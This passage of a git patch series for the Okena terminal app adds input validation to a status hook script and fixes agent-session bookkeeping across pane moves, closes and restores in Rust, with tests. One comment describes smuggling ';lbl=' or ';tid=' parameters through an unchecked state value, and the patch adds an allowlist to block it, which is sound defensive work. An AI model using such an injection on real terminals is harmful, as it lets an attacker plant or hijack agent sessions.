+# `jq` gives an exact answer when it's around; the sed path keeps the script
+# dependency-free otherwise.
+has_jq=$(command -v jq 2>/dev/null || true)
+
+# Print the string value of TOP-LEVEL JSON key $1 in $event, or nothing.
 json_str() {
-    printf '%s' "$event" | sed -n \
-        "s/.*\"$1\"[[:space:]]*:[[:space:]]*\"\([^\"]*\)\".*/\1/p" | head -n1
+    if [ -n "$has_jq" ]; then
+        printf '%s' "$event" | jq -r --arg k "$1" '.[$k] // empty' 2>/dev/null
+        return 0
+    fi
+    printf '%s' "$event_top" | sed -n \
+        "s/.*\"$1\"[[:space:]]*:[[:space:]]*\"\([^\"]*\)\".*/\1/p" 2>/dev/null | head -n1
 }
 session_id=$(json_str session_id)
 transcript_path=$(json_str transcript_path)
@@ -84,7 +123,11 @@ transcript_path=$(json_str transcript_path)
 # (the durable bit Okena persists). Values are JSON-escaped (\\ then ").
 lbl_json=""
 if [ -n "$session_id" ]; then
-    json_escape() { printf '%s' "$1" | sed 's/\\/\\\\/g; s/"/\\"/g'; }
+    # Okena needs `agent` to know which harness could resume this session, and
+    # drops the whole session without it. Say so rather than emitting a label
+    # object Okena will silently discard.
+    [ -n "$agent" ] || log "skip=no-agent (set OKENA_AGENT to capture the session)"
+    json_escape() { printf '%s' "$1" | sed 's/\\/\\\\/g; s/"/\\"/g' 2>/dev/null; }
     add_kv() {
         [ -n "$2" ] || return 0
         ev=$(json_escape "$2")
@@ -105,6 +148,19 @@ if [ -z "$state" ]; then
     exit 0
 fi
 
+# `$state` is spliced straight into the parameter list, so accept only the
+# states Okena knows. Without this a caller passing through a less-trusted value
+# could append `;lbl=<b64>` (planting an arbitrary session Okena would persist
+# and later resume) or `;tid=` to retarget the status at another pane — and a
+# plain typo would be dropped by the receiver while still logging `write=ok`.
+case "$state" in
+    working | blocked | done | idle | clear) ;;
+    *)
+        log "skip=bad-state"
+        exit 0
+        ;;
+esac
+
 # Assemble OSC 9001 params: `st` is required; `msg`/`lbl` are optional and
 # base64-encoded so their values stay ';'/ST-safe (the VTE parser splits OSC
 # params on ';').
@@ -116,14 +172,14 @@ if [ -n "$terminal_id" ]; then
     params="$params;tid=$terminal_id"
 fi
 if [ -n "$message" ]; then
-    msg_b64=$(printf '%s' "$message" | base64 | tr -d '\n')
+    msg_b64=$(printf '%s' "$message" | base64 2>/dev/null | tr -d '\n')
     params="$params;msg=$msg_b64"
     msg_info="msglen=${#message}"
 else
     msg_info="msglen=0"
 fi
 if [ -n "$lbl_json" ]; then
-    lbl_b64=$(printf '{%s}' "$lbl_json" | base64 | tr -d '\n')
+    lbl_b64=$(printf '{%s}' "$lbl_json" | base64 2>/dev/null | tr -d '\n')
     params="$params;lbl=$lbl_b64"
     msg_info="$msg_info sid=$session_id"
 fi

From 2c824cb827ab70c62057ceca10a5655c120dac7d Mon Sep 17 00:00:00 2001
From: David Matejka <matej21@matej21.cz>
Date: Tue, 4 Aug 2026 17:03:06 +0200
Subject: [PATCH 11/16] fix(agent-status): keep the captured session attached
 to its pane
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

`agent_sessions` is a terminal-id-keyed sibling of `terminal_names` /
`hidden_terminals`, and the terminal id is the one thing every lifecycle
event rewrites. It was maintained at the move, close and soft-close sites
and nowhere else:

- The project-runtime quiesce carried `terminal_name` / `hidden` onto the
  pane's new id but not the session, so a `session_backend` switch or a
  project-directory move silently destroyed every pane's agent identity and
  left dead-keyed entries behind. Carry it through `ProjectRuntimeSlot`.
- Hook teardown (both paths), `swap_hook_terminal_id`, and the failed-hook
  cleanup in the replacement path all maintained the sibling maps and skipped
  this one.
- `cleanup_orphaned_metadata` pruned by a list derived from `terminal_names`,
  which only ever names panes the user renamed. A pane carrying just a
  session — almost every pane — was never pruned, so a multi-pane close (a
  tab group) left orphans a later pane could inherit and resume. Prune
  sessions against the layout instead, exempting panes on their way out
  through a deliberate close.
- The cross-project move's source prune treated a soft-closed pane as
  orphaned: moving any *other* pane during the grace window deleted its
  session, and undo restored the pane without it.

`pending_agent_resumes` was queued by `validate_workspace_data` but only
consumed by `spawn_uninitialized_terminals`. LoadSession and ImportWorkspace
go through `prepare_layout_terminals`, which mints fresh ids and installed
the map as live state — so every pane lost its session, and the orphaned
entries stayed where a later split landing on the same path would inherit
one and resume someone else's conversation. Re-key onto the new id there and
clear what is left.

`persist_agent_sessions` consumed the dirty edge before it knew the terminal
was addressable. `find_project_for_terminal` searches layout trees only, so
hook terminals, service terminals and panes inside a soft-close window all
missed — and the session was gone for good, since agents re-send the
identical identity and nothing re-arms the edge. Peek instead, resolve
through a broader lookup, and consume only what landed (and only while the
stored session is still the one written).

Also: route snapshot hydration through `new_clamped` so the caps are an
invariant of the type rather than of the parser; correct the comment
claiming the daemon raises the notification (it drains and discards the
queue — the gap is real and now stated); and register both new `ProjectData`
fields in the CAT-2 audit ignore list with their rationale, so the gate
reports zero instead of two permanent untriaged hits.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_011st5wPRrrAUgA8EQYrGWwY
---
 .../src/workspace/actions/execute/session.rs  | 39 ++++++++-
 crates/okena-daemon-core/src/pty_loop.rs      | 39 +++++++--
 crates/okena-terminal/src/terminal/meta.rs    | 38 +++++++--
 .../okena-workspace/src/actions/layout/mod.rs | 25 +++++-
 .../src/actions/layout/move_ops.rs            | 28 ++++++-
 .../src/actions/layout/tests_gpui.rs          | 83 +++++++++++++++++++
 .../okena-workspace/src/actions/soft_close.rs | 15 ++++
 crates/okena-workspace/src/persistence.rs     | 46 ++++++++++
 crates/okena-workspace/src/state.rs           | 56 ++++++++++++-
 scripts/audit-daemon-client-gaps.sh           |  7 +-
 10 files changed, 353 insertions(+), 23 deletions(-)

diff --git a/crates/okena-app-core/src/workspace/actions/execute/session.rs b/crates/okena-app-core/src/workspace/actions/execute/session.rs
index e4134779c..3aa03b0ff 100644
--- a/crates/okena-app-core/src/workspace/actions/execute/session.rs
+++ b/crates/okena-app-core/src/workspace/actions/execute/session.rs
@@ -158,6 +158,14 @@ fn prepare_layout_terminals(
     shell_wrapper: Option<&str>,
     on_create: Option<&str>,
     env: &std::collections::HashMap<String, String>,
+    pending_agent_resumes: &mut std::collections::HashMap<
+        Vec<usize>,
+        okena_core::agent_session::AgentSession,
+    >,
+    agent_sessions: &mut std::collections::HashMap<
+        String,
+        okena_core::agent_session::AgentSession,
+    >,
     path: &mut Vec<usize>,
     launches: &mut Vec<PreparedTerminalLaunch>,
 ) {
@@ -171,6 +179,18 @@ fn prepare_layout_terminals(
             let id = terminal_id
                 .get_or_insert_with(|| uuid::Uuid::new_v4().to_string())
                 .clone();
+            // `validate_workspace_data` parks a surviving agent session under its
+            // pane's LAYOUT PATH, because the restore is about to clear the
+            // terminal id it was keyed by. Only `spawn_uninitialized_terminals`
+            // consumed those, so on this path (load-session / import-workspace)
+            // they were left behind entirely: the pane silently lost its agent
+            // identity, and the orphaned entry stayed in the map where a later
+            // split landing on the same path would inherit it — and, with
+            // auto-resume on, run `claude --resume` for someone else's session.
+            // Re-key it onto the id this pane just got instead.
+            if let Some(session) = pending_agent_resumes.remove(path.as_slice()) {
+                agent_sessions.insert(id.clone(), session);
+            }
             let launch_plan = if persisted {
                 TerminalLaunchPlan::for_shell(
                     shell_type
@@ -184,8 +204,11 @@ fn prepare_layout_terminals(
                     &settings.default_shell,
                     shell_wrapper,
                     on_create,
-                    // Restoring a saved session builds fresh panes; they carry
-                    // no agent history to resume.
+                    // Restoring a saved session builds fresh panes: the session
+                    // identity is carried over above so the pane still shows it
+                    // and can be resumed by hand, but nothing is auto-launched
+                    // here — the user asked to open a session, not to re-run
+                    // whatever agent last lived in each pane.
                     None,
                     env,
                 )
@@ -210,6 +233,8 @@ fn prepare_layout_terminals(
                     shell_wrapper,
                     on_create,
                     env,
+                    pending_agent_resumes,
+                    agent_sessions,
                     path,
                     launches,
                 );
@@ -235,6 +260,9 @@ pub fn prepare_workspace_replacement(
             project
                 .hidden_terminals
                 .retain(|terminal_id, _| !stale.contains(terminal_id));
+            project
+                .agent_sessions
+                .retain(|terminal_id, _| !stale.contains(terminal_id));
             project.hook_terminals.clear();
         }
     }
@@ -277,10 +305,16 @@ pub fn prepare_workspace_replacement(
                 shell_wrapper.as_deref(),
                 on_create.as_deref(),
                 &env,
+                &mut project.pending_agent_resumes,
+                &mut project.agent_sessions,
                 &mut Vec::new(),
                 &mut ordinary,
             );
         }
+        // Whatever is left has no pane at its path any more. Dropping it is the
+        // point: a leftover entry would otherwise sit in the live workspace and
+        // be handed to an unrelated pane that later lands on that same path.
+        project.pending_agent_resumes.clear();
         if let Some(prepared) = okena_hooks::prepare_project_open_hook(
             uuid::Uuid::new_v4().to_string(),
             &project.hooks,
@@ -534,6 +568,7 @@ pub fn finish_workspace_replacement(
             if project.hook_terminals.remove(terminal_id).is_some() {
                 project.terminal_names.remove(terminal_id);
                 project.hidden_terminals.remove(terminal_id);
+                project.agent_sessions.remove(terminal_id);
                 break;
             }
         }
diff --git a/crates/okena-daemon-core/src/pty_loop.rs b/crates/okena-daemon-core/src/pty_loop.rs
index 0d160dd80..374fe54a9 100644
--- a/crates/okena-daemon-core/src/pty_loop.rs
+++ b/crates/okena-daemon-core/src/pty_loop.rs
@@ -501,13 +501,18 @@ fn persist_agent_sessions(
     terminals: &TerminalsRegistry,
     reactor: &PtyLoopReactor,
 ) {
+    // PEEK the edge here, don't consume it. Attribution below can fail — a hook
+    // or service terminal, and any pane inside a soft-close grace window, is not
+    // in a layout tree — and consuming the edge on a miss lost that pane's
+    // session for good: agents re-send the identical `agent` + `session_id` on
+    // every status, so `record_agent_session` never re-arms it.
     let captured: Vec<(String, okena_core::agent_session::AgentSession)> = {
         let registry = terminals.lock();
         dirty_terminal_ids
             .iter()
             .filter_map(|terminal_id| {
                 let terminal = registry.get(terminal_id)?;
-                if !terminal.take_agent_session_dirty() {
+                if !terminal.agent_session_dirty() {
                     return None;
                 }
                 terminal
@@ -520,14 +525,32 @@ fn persist_agent_sessions(
         return;
     }
 
-    let mut cx = reactor.workspace_cx();
-    let mut workspace = reactor.workspace.lock();
-    for (terminal_id, session) in captured {
-        if let Some(project_id) = workspace
-            .find_project_for_terminal(&terminal_id)
-            .map(|project| project.id.clone())
+    let mut persisted = Vec::with_capacity(captured.len());
+    {
+        let mut cx = reactor.workspace_cx();
+        let mut workspace = reactor.workspace.lock();
+        for (terminal_id, session) in captured {
+            match workspace.find_project_id_owning_terminal(&terminal_id) {
+                Some(project_id) => {
+                    workspace.set_agent_session(&project_id, &terminal_id, session.clone(), &mut cx);
+                    persisted.push((terminal_id, session));
+                }
+                None => log::debug!(
+                    "agent-session: no project owns terminal {terminal_id} yet — retrying next batch"
+                ),
+            }
+        }
+    }
+
+    // Clear the edge only for what actually landed, and only while the stored
+    // session is still the one we wrote — the sidecar may have recorded a newer
+    // one since the peek, and that update must survive to the next batch.
+    let registry = terminals.lock();
+    for (terminal_id, session) in persisted {
+        if let Some(terminal) = registry.get(&terminal_id)
+            && terminal.agent_session().as_ref() == Some(&session)
         {
-            workspace.set_agent_session(&project_id, &terminal_id, session, &mut cx);
+            terminal.take_agent_session_dirty();
         }
     }
 }
diff --git a/crates/okena-terminal/src/terminal/meta.rs b/crates/okena-terminal/src/terminal/meta.rs
index 3a9948f2f..7adaaf04e 100644
--- a/crates/okena-terminal/src/terminal/meta.rs
+++ b/crates/okena-terminal/src/terminal/meta.rs
@@ -82,12 +82,27 @@ impl Terminal {
     /// would otherwise show no agent until the next report, or keep showing a
     /// status the daemon has since cleared.
     ///
-    /// Deliberately not the parser path: it neither queues a notification (the
-    /// daemon already raised one when the transition happened; re-raising it on
-    /// every reconnect would spam) nor sets `remote_dirty` (this *is* remote
-    /// state arriving, not local state to push back).
+    /// Deliberately not the parser path: it neither queues a notification nor
+    /// sets `remote_dirty` (this *is* remote state arriving, not local state to
+    /// push back). A snapshot is **replayed** state, so notifying off it would
+    /// re-raise the same bubble on every connect, reconnect, daemon restart and
+    /// sleep/resume. The flip side is a real gap: the desktop notification is
+    /// raised only by the client that parsed the transition live, so a
+    /// transition that happened while disconnected notifies nowhere. Owning that
+    /// edge properly means the daemon publishing an explicit agent-transition
+    /// event over the bridge — which would also give mobile one. Not done here.
+    ///
+    /// Goes through `new_clamped` rather than storing the deserialized value
+    /// directly: the caps are an invariant of the type, not of the parser, and
+    /// this is a second entry point for a value that arrives over the wire.
     pub fn hydrate_agent_status(&self, status: Option<okena_core::agent_status::AgentStatus>) {
-        *self.agent_status.lock() = status;
+        *self.agent_status.lock() = status.map(|status| {
+            okena_core::agent_status::AgentStatus::new_clamped(
+                status.lifecycle,
+                status.custom,
+                status.labels,
+            )
+        });
     }
 
     /// Consume the one-shot "remote-visible state changed since last drain"
@@ -109,6 +124,19 @@ impl Terminal {
         self.agent_session.lock().clone()
     }
 
+    /// Whether the "agent session changed since last drain" edge is set, without
+    /// consuming it.
+    ///
+    /// The persist path peeks first and only consumes once the session has
+    /// actually been attributed to a project: attribution can fail (a hook or
+    /// service terminal, or a pane inside a soft-close grace window, is not in
+    /// any layout tree), and consuming there dropped the session permanently —
+    /// agents re-send the same identity on every status, so nothing re-arms it.
+    pub fn agent_session_dirty(&self) -> bool {
+        self.agent_session_dirty
+            .load(std::sync::atomic::Ordering::Relaxed)
+    }
+
     /// Consume the one-shot "agent session changed since last drain" edge. The
     /// PTY event loop uses this to persist the new session into `workspace.json`.
     pub fn take_agent_session_dirty(&self) -> bool {
diff --git a/crates/okena-workspace/src/actions/layout/mod.rs b/crates/okena-workspace/src/actions/layout/mod.rs
index ea0f10cf5..d92eedf7c 100644
--- a/crates/okena-workspace/src/actions/layout/mod.rs
+++ b/crates/okena-workspace/src/actions/layout/mod.rs
@@ -15,9 +15,23 @@ mod tabs;
 use crate::state::Workspace;
 
 impl Workspace {
-    /// Remove terminal_names/hidden_terminals entries that are no longer in the layout.
+    /// Remove terminal_names/hidden_terminals/agent_sessions entries that are no
+    /// longer in the layout.
     /// Returns the orphaned terminal IDs (for PTY cleanup by callers).
     pub(super) fn cleanup_orphaned_metadata(&mut self, project_id: &str) -> Vec<String> {
+        // A pane on its way out through a *deliberate* close is not orphaned:
+        // a soft close keeps its PTY and metadata alive for the undo, and a hard
+        // close drops its session explicitly via `forget_agent_session`. Both
+        // register a closing owner before the layout removal; a soft close is
+        // only added to `pending_closes` afterwards, so consult both.
+        let mut exempt: std::collections::HashSet<String> = self
+            .closing_terminal_owners
+            .iter()
+            .filter(|(_, owner)| owner.project_id == project_id)
+            .map(|(terminal_id, _)| terminal_id.clone())
+            .collect();
+        exempt.extend(self.pending_close_ids_for_project(project_id));
+
         let Some(project) = self.project_mut(project_id) else {
             return vec![];
         };
@@ -40,6 +54,15 @@ impl Workspace {
             project.hidden_terminals.remove(id);
         }
 
+        // Prune sessions against the layout, not against `orphaned`. That list
+        // is derived from `terminal_names`, so it only ever names panes the user
+        // renamed — a pane carrying only an agent session (the common case;
+        // almost nobody renames panes) was never cleaned up here, and a later
+        // pane inheriting its id would be handed a stale session to resume.
+        project
+            .agent_sessions
+            .retain(|id, _| layout_ids.contains(id) || exempt.contains(id));
+
         orphaned
     }
 }
diff --git a/crates/okena-workspace/src/actions/layout/move_ops.rs b/crates/okena-workspace/src/actions/layout/move_ops.rs
index 2b659c0de..d9ccf7ecb 100644
--- a/crates/okena-workspace/src/actions/layout/move_ops.rs
+++ b/crates/okena-workspace/src/actions/layout/move_ops.rs
@@ -205,6 +205,15 @@ impl Workspace {
             return;
         }
 
+        // Panes inside a soft-close grace window are out of the layout while
+        // their PTY, registry entry and metadata are deliberately kept alive for
+        // the undo. Collect them before the mutable borrow so the prune below
+        // doesn't delete a pane's metadata just because some *other* pane moved.
+        let src_grace_ids = {
+            let src_project_id = self.data.projects[src_idx].id.clone();
+            self.pending_close_ids_for_project(&src_project_id)
+        };
+
         // --- Extract from source ---
         let src_project = &mut self.data.projects[src_idx];
         if source_path.is_empty() {
@@ -227,12 +236,14 @@ impl Workspace {
         // has to follow it — the map is per project.
         let agent_session = src_project.agent_sessions.remove(source_terminal_id);
 
-        // Cleanup orphaned source metadata
-        let src_layout_ids: std::collections::HashSet<String> = src_project
+        // Cleanup orphaned source metadata. "Orphaned" means not in the layout
+        // AND not waiting out a soft-close grace window.
+        let mut src_layout_ids: std::collections::HashSet<String> = src_project
             .layout
             .as_ref()
             .map(|l| l.collect_terminal_ids().into_iter().collect())
             .unwrap_or_default();
+        src_layout_ids.extend(src_grace_ids);
         src_project
             .terminal_names
             .retain(|id, _| src_layout_ids.contains(id));
@@ -571,6 +582,13 @@ impl Workspace {
             None => return,
         };
 
+        // See the note in `move_pane_into_project` — a soft-closed pane is out
+        // of the layout but still owns its metadata until the grace window ends.
+        let src_grace_ids = {
+            let src_project_id = self.data.projects[src_idx].id.clone();
+            self.pending_close_ids_for_project(&src_project_id)
+        };
+
         // --- Extract from source ---
         let src_project = &mut self.data.projects[src_idx];
         if source_path.is_empty() {
@@ -592,12 +610,14 @@ impl Workspace {
         // has to follow it — the map is per project.
         let agent_session = src_project.agent_sessions.remove(terminal_id);
 
-        // Cleanup orphaned source metadata
-        let src_layout_ids: std::collections::HashSet<String> = src_project
+        // Cleanup orphaned source metadata. "Orphaned" means not in the layout
+        // AND not waiting out a soft-close grace window.
+        let mut src_layout_ids: std::collections::HashSet<String> = src_project
             .layout
             .as_ref()
             .map(|l| l.collect_terminal_ids().into_iter().collect())
             .unwrap_or_default();
+        src_layout_ids.extend(src_grace_ids);
         src_project
             .terminal_names
             .retain(|id, _| src_layout_ids.contains(id));
diff --git a/crates/okena-workspace/src/actions/layout/tests_gpui.rs b/crates/okena-workspace/src/actions/layout/tests_gpui.rs
index 64e99ff92..9b119bcf2 100644
--- a/crates/okena-workspace/src/actions/layout/tests_gpui.rs
+++ b/crates/okena-workspace/src/actions/layout/tests_gpui.rs
@@ -1406,3 +1406,86 @@ fn move_to_tab_group_across_projects_carries_the_agent_session(cx: &mut gpui::Te
         );
     });
 }
+
+#[gpui::test]
+fn close_other_tabs_drops_the_agent_sessions_of_the_panes_it_removed(
+    cx: &mut gpui::TestAppContext,
+) {
+    // A multi-pane close removes several panes at once, and only the explicitly
+    // closed one goes through `forget_agent_session` — the rest are pruned by
+    // `cleanup_orphaned_metadata`, which used to prune the two sibling maps and
+    // leave `agent_sessions` behind. An orphan there is not cosmetic: a later
+    // pane inheriting the id would be handed someone else's session to resume.
+    let layout = LayoutNode::Tabs {
+        children: vec![
+            terminal_node_t("t1"),
+            terminal_node_t("t2"),
+            terminal_node_t("t3"),
+        ],
+        active_tab: 0,
+    };
+    let mut project = make_project_with_layout("p1", layout);
+    for id in ["t1", "t2", "t3"] {
+        project
+            .agent_sessions
+            .insert(id.to_string(), agent_session(SESSION_UUID));
+    }
+    let data = make_workspace_data(vec![project], vec!["p1"]);
+    let workspace = cx.new(|_cx| Workspace::new(data));
+
+    workspace.update(cx, |ws: &mut Workspace, cx| ws.close_other_tabs("p1", &[], 0, cx));
+
+    workspace.read_with(cx, |ws: &Workspace, _cx| {
+        let project = ws.project("p1").expect("project");
+        let mut kept: Vec<&str> = project
+            .agent_sessions
+            .keys()
+            .map(String::as_str)
+            .collect();
+        kept.sort_unstable();
+        assert_eq!(kept, vec!["t1"], "only the surviving pane keeps a session");
+    });
+}
+
+#[gpui::test]
+fn moving_a_pane_out_spares_a_sibling_inside_its_soft_close_window(
+    cx: &mut gpui::TestAppContext,
+) {
+    // A soft-closed pane is out of the layout while its PTY and metadata are
+    // deliberately kept alive for the undo. The source-side prune after a
+    // cross-project move is keyed on "is it in the layout", so moving ANY other
+    // pane during that window used to delete the soft-closed pane's session —
+    // and undo would then restore the pane without it.
+    let mut p1 = make_project_with_layout(
+        "p1",
+        LayoutNode::Split {
+            direction: SplitDirection::Vertical,
+            sizes: vec![50.0, 50.0],
+            children: vec![terminal_node_t("t1"), terminal_node_t("t2")],
+        },
+    );
+    p1.agent_sessions
+        .insert("t1".to_string(), agent_session(SESSION_UUID));
+    let p2 = make_project_with_layout("p2", terminal_node_t("t3"));
+    let data = make_workspace_data(vec![p1, p2], vec!["p1", "p2"]);
+    let workspace = cx.new(|_cx| Workspace::new(data));
+
+    workspace.update(cx, |ws: &mut Workspace, cx| {
+        let mut focus = FocusManager::new();
+        ws.begin_soft_close(&mut focus, "p1", &[0], "t1", "toast-t1", cx);
+        // t2 is unrelated to the pending close — moving it must not touch t1.
+        ws.move_pane(&mut focus, "p1", "t2", "p2", "t3", DropZone::Right, cx);
+
+        assert_eq!(
+            ws.agent_session("p1", "t1"),
+            Some(agent_session(SESSION_UUID)),
+            "the soft-closed pane keeps its session until the close is finalized"
+        );
+        assert!(ws.undo_soft_close(&mut focus, "t1", true, cx));
+        assert_eq!(
+            ws.agent_session("p1", "t1"),
+            Some(agent_session(SESSION_UUID)),
+            "and undo brings the pane back with it"
+        );
+    });
+}
diff --git a/crates/okena-workspace/src/actions/soft_close.rs b/crates/okena-workspace/src/actions/soft_close.rs
index d73de0e6f..7d5f5f05f 100644
--- a/crates/okena-workspace/src/actions/soft_close.rs
+++ b/crates/okena-workspace/src/actions/soft_close.rs
@@ -346,6 +346,21 @@ impl Workspace {
             .retain(|r| r.terminal_id != terminal_id);
     }
 
+    /// Terminal ids in `project_id` that are waiting out a soft-close grace
+    /// window.
+    ///
+    /// They are out of the layout tree while their PTY, registry entry and
+    /// per-terminal metadata (`terminal_names` / `hidden_terminals` /
+    /// `agent_sessions`) are deliberately kept alive for the undo, so any prune
+    /// keyed on "is this id in the layout?" has to count them as present.
+    pub(crate) fn pending_close_ids_for_project(&self, project_id: &str) -> Vec<String> {
+        self.pending_closes
+            .iter()
+            .filter(|pending| pending.project_id == project_id)
+            .map(|pending| pending.terminal_id.clone())
+            .collect()
+    }
+
     /// True if the terminal is currently waiting out its grace period.
     pub fn has_pending_close(&self, terminal_id: &str) -> bool {
         self.pending_closes
diff --git a/crates/okena-workspace/src/persistence.rs b/crates/okena-workspace/src/persistence.rs
index 418ebf528..d38960f74 100644
--- a/crates/okena-workspace/src/persistence.rs
+++ b/crates/okena-workspace/src/persistence.rs
@@ -2338,6 +2338,52 @@ mod tests {
 
     // === Serialization ===
 
+    #[test]
+    fn agent_sessions_round_trip_and_tolerate_an_old_file() {
+        let mut project = make_project("p1");
+        project
+            .agent_sessions
+            .insert("tid1".to_string(), agent_session(UUID_A));
+        let data = make_workspace(vec![project], vec!["p1"], vec![]);
+
+        let json = serde_json::to_string(&data).expect("serialize");
+        let back: WorkspaceData = serde_json::from_str(&json).expect("deserialize");
+        assert_eq!(
+            back.projects[0].agent_sessions.get("tid1"),
+            Some(&agent_session(UUID_A)),
+            "a persisted session must survive the round trip — it is the whole point of storing it"
+        );
+
+        // A workspace.json written before the field existed must still load.
+        let value: serde_json::Value = serde_json::from_str(&json).expect("as value");
+        let mut value = value;
+        value["projects"][0]
+            .as_object_mut()
+            .expect("project object")
+            .remove("agent_sessions");
+        let old: WorkspaceData = serde_json::from_value(value).expect("old file still loads");
+        assert!(old.projects[0].agent_sessions.is_empty());
+    }
+
+    #[test]
+    fn pending_agent_resumes_never_reaches_the_file() {
+        // `Vec<usize>` is not a serializable JSON map key, so this field is only
+        // safe because of `#[serde(skip)]`. Weakening that to `skip_serializing`
+        // would make every workspace save fail — pin it.
+        let mut project = make_project("p1");
+        project
+            .pending_agent_resumes
+            .insert(vec![0, 1], agent_session(UUID_A));
+        let data = make_workspace(vec![project], vec!["p1"], vec![]);
+
+        let json = serde_json::to_string(&data).expect("save must not fail");
+        assert!(!json.contains("pending_agent_resumes"));
+        assert!(!json.contains(UUID_A));
+
+        let back: WorkspaceData = serde_json::from_str(&json).expect("deserialize");
+        assert!(back.projects[0].pending_agent_resumes.is_empty());
+    }
+
     #[test]
     fn default_workspace_round_trips() {
         let data = default_workspace();
diff --git a/crates/okena-workspace/src/state.rs b/crates/okena-workspace/src/state.rs
index 17a6a6a38..6ffc66d30 100644
--- a/crates/okena-workspace/src/state.rs
+++ b/crates/okena-workspace/src/state.rs
@@ -320,6 +320,12 @@ struct ProjectRuntimeSlot {
     path: Vec<usize>,
     terminal_name: Option<String>,
     hidden: Option<bool>,
+    /// Carried for the same reason as the two above: the quiesce mints a new
+    /// terminal id for the pane, and every one of these maps is keyed by the old
+    /// one. Dropping it here would silently destroy the pane's agent identity on
+    /// a `session_backend` switch or a project-directory move — and leave a
+    /// dead-keyed entry behind.
+    agent_session: Option<okena_core::agent_session::AgentSession>,
 }
 
 /// Transient ownership metadata for a terminal awaiting its PTY exit event.
@@ -391,6 +397,7 @@ fn take_project_layout_runtime(
     backend_preference: SessionBackend,
     terminal_names: &mut HashMap<String, String>,
     hidden_terminals: &mut HashMap<String, bool>,
+    agent_sessions: &mut HashMap<String, okena_core::agent_session::AgentSession>,
     path: &mut Vec<usize>,
     slots: &mut Vec<ProjectRuntimeSlot>,
     teardown_sessions: &mut Vec<TerminalSessionTeardown>,
@@ -417,6 +424,7 @@ fn take_project_layout_runtime(
                 path: path.clone(),
                 terminal_name: terminal_names.remove(&terminal_id),
                 hidden: hidden_terminals.remove(&terminal_id),
+                agent_session: agent_sessions.remove(&terminal_id),
             });
         }
         LayoutNode::Split { children, .. } | LayoutNode::Tabs { children, .. } => {
@@ -429,6 +437,7 @@ fn take_project_layout_runtime(
                     backend_preference,
                     terminal_names,
                     hidden_terminals,
+                    agent_sessions,
                     path,
                     slots,
                     teardown_sessions,
@@ -581,6 +590,7 @@ impl Workspace {
                         backend_preference,
                         &mut project.terminal_names,
                         &mut project.hidden_terminals,
+                        &mut project.agent_sessions,
                         &mut Vec::new(),
                         &mut layout_slots,
                         &mut teardown_sessions,
@@ -603,6 +613,7 @@ impl Workspace {
                         project.hook_terminals.remove(terminal_id);
                         project.terminal_names.remove(terminal_id);
                         project.hidden_terminals.remove(terminal_id);
+                        project.agent_sessions.remove(terminal_id);
                     } else {
                         preserved_registry_terminal_ids.push(terminal_id.clone());
                     }
@@ -691,7 +702,10 @@ impl Workspace {
                     .insert(terminal_id.clone(), name.clone());
             }
             if let Some(hidden) = slot.hidden {
-                project.hidden_terminals.insert(terminal_id, hidden);
+                project.hidden_terminals.insert(terminal_id.clone(), hidden);
+            }
+            if let Some(session) = &slot.agent_session {
+                project.agent_sessions.insert(terminal_id, session.clone());
             }
         }
         if !self
@@ -726,6 +740,7 @@ impl Workspace {
                 backend_preference,
                 &mut project.terminal_names,
                 &mut project.hidden_terminals,
+                &mut project.agent_sessions,
                 &mut Vec::new(),
                 &mut discarded_slots,
                 &mut teardown_sessions,
@@ -797,6 +812,7 @@ impl Workspace {
             for terminal_id in &project_hook_ids {
                 project.terminal_names.remove(terminal_id);
                 project.hidden_terminals.remove(terminal_id);
+                project.agent_sessions.remove(terminal_id);
             }
             teardown_sessions.extend(
                 project_hook_ids
@@ -1746,6 +1762,7 @@ impl Workspace {
                     }
                 }
                 project.terminal_names.remove(terminal_id);
+                project.agent_sessions.remove(terminal_id);
                 self.notify_data(cx);
                 return;
             }
@@ -1771,6 +1788,34 @@ impl Workspace {
         })
     }
 
+    /// The id of the project that owns `terminal_id`, by any route.
+    ///
+    /// Broader than [`find_project_for_terminal`](Self::find_project_for_terminal),
+    /// which searches layout trees only. A terminal can legitimately be absent
+    /// from every layout and still belong to a project: hook terminals live in
+    /// `hook_terminals`, service terminals in `service_terminals`, and a pane
+    /// inside a soft-close grace window is out of the tree while its PTY stays
+    /// alive. Callers that must not silently drop per-terminal state (persisting
+    /// an agent session, say) want this one.
+    pub fn find_project_id_owning_terminal(&self, terminal_id: &str) -> Option<String> {
+        if let Some(project) = self.find_project_for_terminal(terminal_id) {
+            return Some(project.id.clone());
+        }
+        if let Some(project) = self.data.projects.iter().find(|project| {
+            project.hook_terminals.contains_key(terminal_id)
+                || project
+                    .service_terminals
+                    .values()
+                    .any(|id| id == terminal_id)
+        }) {
+            return Some(project.id.clone());
+        }
+        self.pending_closes
+            .iter()
+            .find(|pending| pending.terminal_id == terminal_id)
+            .map(|pending| pending.project_id.clone())
+    }
+
     /// Get all hook terminal IDs for a project (for cleanup before deletion).
     pub fn hook_terminal_ids_for_project(&self, project_id: &str) -> Vec<String> {
         self.project(project_id)
@@ -1778,7 +1823,8 @@ impl Workspace {
             .unwrap_or_default()
     }
 
-    /// Swap a hook terminal's ID (for rerun). Updates hook_terminals, layout tree, and terminal_names.
+    /// Swap a hook terminal's ID (for rerun). Updates hook_terminals, layout
+    /// tree, terminal_names, and agent_sessions.
     /// Resets status back to Running.
     pub fn swap_hook_terminal_id(
         &mut self,
@@ -1804,6 +1850,12 @@ impl Workspace {
             project.terminal_names.insert(new_id.to_string(), name);
         }
 
+        // Keyed by terminal id like the map above, so a rerun would otherwise
+        // strand the session under the dead id.
+        if let Some(session) = project.agent_sessions.remove(old_id) {
+            project.agent_sessions.insert(new_id.to_string(), session);
+        }
+
         self.notify_data(cx);
     }
 
diff --git a/scripts/audit-daemon-client-gaps.sh b/scripts/audit-daemon-client-gaps.sh
index d4d0be491..6704bd353 100755
--- a/scripts/audit-daemon-client-gaps.sh
+++ b/scripts/audit-daemon-client-gaps.sh
@@ -128,7 +128,12 @@ PAIRS=(
 #                               ordering, sizing, and layout mode locally in
 #                               window-layout.json; daemon ApiWindow must not
 #                               overwrite those choices.
-CAT2_IGNORE='^(version|service_panel_heights|hook_panel_heights|connection_id|is_remote|service_terminals|hidden_terminals|folder_collapsed|hidden_project_ids|os_bounds|project_layout|project_sort_mode|project_widths|show_attention_section)$'
+# Confirmed client-local / derived, so absent from the wire on purpose:
+#   agent_sessions        — daemon-side durable identity for resume; the wire
